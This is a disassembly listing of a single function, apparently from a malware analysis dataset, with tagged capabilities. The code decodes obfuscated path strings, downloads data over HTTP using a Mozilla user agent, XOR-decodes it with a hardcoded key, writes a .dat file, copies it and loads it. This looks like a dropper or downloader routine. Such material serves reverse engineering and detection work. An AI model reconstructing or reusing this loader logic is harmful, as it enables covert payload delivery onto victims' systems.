Function at 0x180002d98
Capabilities:
Copy file
Create directory
Encode data using xor
Query environment variable
Reference http user-agent string

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1160]
mov eax, 0x1260
call fcn.1800085c0
sub rsp, rax
mov rax, qword [0x180036080]
xor rax, rsp
mov qword [rbp + 0x1150], rax
mov rsi, rdx
mov rbx, rcx
xor r15d, r15d
mov dword [rsp + 0x68], r15d
xor edx, edx
mov r8d, 0xbb8
lea rcx, [rbp + 0x590]
call fcn.1800242f0
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
mov qword [rbp - 0x60], r15
lea r14d, [r15 + 7]
mov qword [rbp - 0x58], r14
mov word [rbp - 0x70], r15w
movups xmmword [rsp + 0x70], xmm0
movdqa xmm1, xmmword [0x1800308f0]
movdqu xmmword [rbp - 0x80], xmm1
mov word [rsp + 0x70], r15w
mov word [rbp + 0x270], r15w
mov edi, 0x18e
mov r8d, edi
xor edx, edx
lea rcx, [rbp + 0x272]
call fcn.1800242f0
mov word [rbp + 0xe0], r15w
mov r8d, edi
xor edx, edx
lea rcx, [rbp + 0xe2]
call fcn.1800242f0
lea rdx, str.Vpfqsqlejof_BssGbwb_Ol_bo_Nj_qlplew_Tjmgltp_Pkfoo
lea rcx, [rbp - 0x70]
call fcn.1800013cc
xorps xmm0, xmm0
movups xmmword [rbp + 0xc0], xmm0
mov qword [rbp + 0xd0], r15
mov qword [rbp + 0xd8], r15
lea rdx, [rbp - 0x70]
cmp qword [rbp - 0x58], r14
cmova rdx, qword [rbp - 0x70]
mov r8, qword [rbp - 0x60]
lea rcx, [rbp + 0xc0]
call fcn.1800015a4
lea rdx, [rbp + 0xc0]
lea rcx, [rsp + 0x40]
call fcn.180002218
mov rdi, rax
lea rax, [rsp + 0x70]
cmp rax, rdi
je 0x180002ee0
lea rcx, [rsp + 0x70]
call fcn.180001540
movups xmm0, xmmword [rdi]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rbp - 0x80], xmm1
mov qword [rdi + 0x10], r15
mov qword [rdi + 0x18], r14
mov word [rdi], r15w
lea rcx, [rsp + 0x40]
call fcn.180001540
lea r8, [rsp + 0x70]
cmp qword [rbp - 0x78], r14
cmova r8, qword [rsp + 0x70]
mov r12d, 0xc8
mov edx, r12d
lea rcx, [rbp + 0x270]
call fcn.18000e820
mov r8d, r12d
lea rdx, [rbp + 0xe0]
lea rcx, [rbp + 0x270]
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
xor edx, edx
lea rcx, [rbp + 0xe0]
call fcn.18000ed0c
cmp eax, 2
jne 0x180002f44
lea rcx, [rbp + 0xe0]
call fcn.18000edcc
lea rdx, str.Vpfqsqlejof_BssGbwb_Ol_bo_Nj_qlplew_Tjmgltp_Pkfoo_Pbnsof_wns
lea rcx, [rbp - 0x70]
call fcn.1800013cc
xorps xmm0, xmm0
movups xmmword [rbp + 0xc0], xmm0
mov qword [rbp + 0xd0], r15
mov qword [rbp + 0xd8], r15
lea rdx, [rbp - 0x70]
cmp qword [rbp - 0x58], r14
cmova rdx, qword [rbp - 0x70]
mov r8, qword [rbp - 0x60]
lea rcx, [rbp + 0xc0]
call fcn.1800015a4
lea rdx, [rbp + 0xc0]
lea rcx, [rsp + 0x40]
call fcn.180002218
mov rdi, rax
lea rax, [rsp + 0x70]
cmp rax, rdi
je 0x180002fcd
lea rcx, [rsp + 0x70]
call fcn.180001540
movups xmm0, xmmword [rdi]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rbp - 0x80], xmm1
mov qword [rdi + 0x10], r15
mov qword [rdi + 0x18], r14
mov word [rdi], r15w
lea rcx, [rsp + 0x40]
call fcn.180001540
lea r8, [rsp + 0x70]
cmp qword [rbp - 0x78], r14
cmova r8, qword [rsp + 0x70]
mov rdx, r12
lea rcx, [rbp + 0x270]
call fcn.18000e820
mov r8d, r12d
lea rdx, [rbp + 0xe0]
lea rcx, [rbp + 0x270]
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
mov rax, qword [rbx]
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.Mozilla_5.0
call rax
mov r13, rax
mov qword [rsp + 0x30], rax
mov r10, qword [rbx + 0x20]
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rdx, rsi
mov rcx, rax
call r10
mov r14, rax
test rax, rax
je 0x1800033b2
mov r10, qword [rbx + 0x38]
lea r9, [rsp + 0x68]
mov r8d, 0x800
lea rdx, [rbp + 0x590]
mov rcx, rax
call r10
cmp byte [rbp + 0x590], 0x3c
je 0x1800033b2
mov rax, qword [rbx + 0x30]
mov ecx, 0x3e8
call rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp - 0x50]
call fcn.1800242f0
lea rdx, [rbp + 0xe0]
lea rcx, [rbp - 0x50]
call fcn.1800041c4
nop
movups xmm0, xmmword [str.g73qrc4dwx8jt9qmhi4s]
movups xmmword [rbp + 0xc0], xmm0
mov eax, dword [0x1800305a0]
mov dword [rbp + 0xd0], eax
mov al, byte [0x1800305a4]
mov byte [rbp + 0xd4], al
mov r12d, r15d
mov edi, r15d
cmp dword [rsp + 0x68], r15d
jbe 0x180003129
mov rsi, r15
lea r15, [rbp + 0x590]
mov dl, byte [r15]
inc r12d
inc r15
xor dl, byte [rbp + rsi + 0xc0]
lea rcx, [rbp - 0x50]
call fcn.1800045f8
lea eax, [rdi + 1]
xor edi, edi
cmp rsi, 0x13
cmovne edi, eax
mov rax, rsi
lea rcx, [rsi + 1]
xor esi, esi
cmp rax, 0x13
cmovne rsi, rcx
cmp r12d, dword [rsp + 0x68]
jb 0x1800030ec
movsxd rdi, edi
xor r13d, r13d
mov rax, qword [rbx + 0x38]
lea r9, [rsp + 0x68]
mov r8d, 0x800
lea rdx, [rbp + 0x590]
mov rcx, r14
call rax
mov r12d, eax
mov r15d, r13d
mov ecx, dword [rsp + 0x68]
test ecx, ecx
je 0x180003192
lea rsi, [rbp + 0x590]
mov dl, byte [rsi]
inc r15d
inc rsi
xor dl, byte [rbp + rdi + 0xc0]
lea rcx, [rbp - 0x50]
call fcn.1800045f8
mov rax, rdi
lea rcx, [rdi + 1]
mov rdi, r13
cmp rax, 0x13
cmovne rdi, rcx
mov ecx, dword [rsp + 0x68]
cmp r15d, ecx
jb 0x18000315f
test r12d, r12d
je 0x18000312f
test ecx, ecx
jne 0x18000312f
lea rcx, [rbp - 0x48]
call fcn.180004cf0
test rax, rax
mov r13, qword [rsp + 0x30]
jne 0x1800031dd
mov rax, qword [rbp - 0x50]
movsxd rdx, dword [rax + 4]
mov rax, qword [rbp + rdx - 8]
neg rax
sbb ecx, ecx
and ecx, 0xfffffffc
add ecx, 6
or ecx, dword [rbp + rdx - 0x40]
and ecx, 0x17
mov dword [rbp + rdx - 0x40], ecx
mov eax, dword [rbp + rdx - 0x3c]
and eax, ecx
jne 0x180003403
lea rdx, str.Vpfqsqlejof_BssGbwb_Ol_bo_Nj_qlplew_Tjmgltp_Pkfoo_Pfquj_f
lea rcx, [rbp - 0x70]
call fcn.1800013cc
xorps xmm0, xmm0
movups xmmword [rbp + 0xc0], xmm0
xor esi, esi
mov qword [rbp + 0xd0], rsi
mov qword [rbp + 0xd8], rsi
lea rdx, [rbp - 0x70]
lea r15d, [rsi + 7]
cmp qword [rbp - 0x58], r15
cmova rdx, qword [rbp - 0x70]
mov r8, qword [rbp - 0x60]
lea rcx, [rbp + 0xc0]
call fcn.1800015a4
lea rdx, [rbp + 0xc0]
lea rcx, [rsp + 0x40]
call fcn.180002218
mov rdi, rax
lea rax, [rsp + 0x70]
cmp rax, rdi
je 0x18000326b
lea rcx, [rsp + 0x70]
call fcn.180001540
movups xmm0, xmmword [rdi]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rbp - 0x80], xmm1
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], r15
mov word [rdi], si
lea rcx, [rsp + 0x40]
call fcn.180001540
mov edx, dword [rbx + 0x54]
lea rcx, [rsp + 0x40]
call fcn.180002118
nop
mov r8d, 4
lea rdx, str..dat
mov rcx, rax
call fcn.180005040
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xc0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xd0], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], r15
mov word [rax], si
lea rdx, [rbp + 0xc0]
movq rcx, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rax, xmm0
cmp rax, r15
cmova rdx, rcx
movq r8, xmm1
lea rcx, [rsp + 0x70]
call fcn.180005040
nop
lea rcx, [rbp + 0xc0]
call fcn.180001540
nop
lea rcx, [rsp + 0x40]
call fcn.180001540
lea r8, [rsp + 0x70]
cmp qword [rbp - 0x78], r15
cmova r8, qword [rsp + 0x70]
mov edi, 0xc8
mov edx, edi
lea rcx, [rbp + 0x270]
call fcn.18000e820
mov r8d, edi
lea rdx, [rbp + 0x400]
lea rcx, [rbp + 0x270]
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
xor r8d, r8d
lea rdx, [rbp + 0x400]
lea rcx, [rbp + 0xe0]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
lea rcx, [rbp + 0xe0]
call fcn.18000f3e8
mov rax, qword [rbx + 0x30]
mov ecx, 0x3e8
call rax
xor edx, edx
lea rcx, [rbp + 0x400]
call fcn.18000ed0c
test eax, eax
jne 0x18000338a
mov rax, qword [rbx + 0x10]
lea rcx, [rbp + 0x400]
call rax
mov qword [rbx + 0x58], rax
cmp qword [rbx + 0x58], rsi
je 0x180003393
inc dword [rbx + 0x54]
lea rcx, [rbp + 0x58]
call fcn.180004144
nop
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x58], rax
lea rcx, [rbp + 0x58]
call fcn.1800074c8
nop
mov rax, qword [rbx + 0x28]
mov rcx, r14
call rax
mov rax, qword [rbx + 0x28]
mov rcx, r13
call rax
nop
lea rcx, [rsp + 0x70]
call fcn.180001540
nop
lea rcx, [rbp - 0x70]
call fcn.180001540
mov rcx, qword [rbp + 0x1150]
xor rcx, rsp
call fcn.180007d50
mov rbx, qword [rsp + 0x12b0]
add rsp, 0x1260
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
test al, 4
je 0x180003410
lea rbx, str.ios_base::badbit_set
jmp 0x180003424
test al, 2
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x30]
call fcn.1800017c8
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0x40]
call fcn.18000204c
lea rdx, [0x180034638]
lea rcx, [rsp + 0x40]
call fcn.180009c24
int3